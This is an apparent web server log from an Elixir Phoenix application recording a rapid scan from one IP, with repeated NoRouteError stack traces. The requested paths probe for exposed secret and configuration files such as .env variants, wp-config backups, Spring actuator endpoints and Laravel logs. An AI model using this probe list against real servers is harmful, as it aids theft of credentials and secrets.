[Sat Sep  5 06:44:36.391000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33638] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.backup (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.403000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33632] GET /.env.prod
[Sat Sep  5 06:44:36.403000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33680] GET /_ignition/health-check
[Sat Sep  5 06:44:36.407000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33626] GET /.env.production
[Sat Sep  5 06:44:36.408000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33658] GET /.env.dev
[Sat Sep  5 06:44:36.442000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33680] ** (Phoenix.Router.NoRouteError) no route found for GET /_ignition/health-check (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.445000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33632] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.prod (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.446000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33626] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.production (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.449000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33658] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.dev (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.469000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33642] GET /.env.bak
[Sat Sep  5 06:44:36.489000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33642] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.bak (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.511000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33618] GET /.env.local
[Sat Sep  5 06:44:36.512000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33674] GET /env
[Sat Sep  5 06:44:36.514000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33728] GET /wp-config.php.swp
[Sat Sep  5 06:44:36.545000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33618] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.local (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.549000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33674] ** (Phoenix.Router.NoRouteError) no route found for GET /env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.551000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33728] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php.swp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.555000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33668] GET /actuator/env
[Sat Sep  5 06:44:36.557000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33672] GET /actuator/configprops
[Sat Sep  5 06:44:36.559000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33656] GET /.env.save
[Sat Sep  5 06:44:36.559000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33664] GET /.env.example
[Sat Sep  5 06:44:36.562000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33650] GET /.env.old
[Sat Sep  5 06:44:36.604000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33668] ** (Phoenix.Router.NoRouteError) no route found for GET /actuator/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.606000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33722] GET /wp-config.php~
[Sat Sep  5 06:44:36.607000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33734] GET /storage/logs/laravel.log
[Sat Sep  5 06:44:36.606000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33672] ** (Phoenix.Router.NoRouteError) no route found for GET /actuator/configprops (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.611000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33706] GET /wp-config.php.bak
[Sat Sep  5 06:44:36.612000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33650] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.old (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.614000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33656] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.save (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.613000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33664] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.example (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.651000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33722] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php~ (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.654000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33734] ** (Phoenix.Router.NoRouteError) no route found for GET /storage/logs/laravel.log (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.654000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33706] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php.bak (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
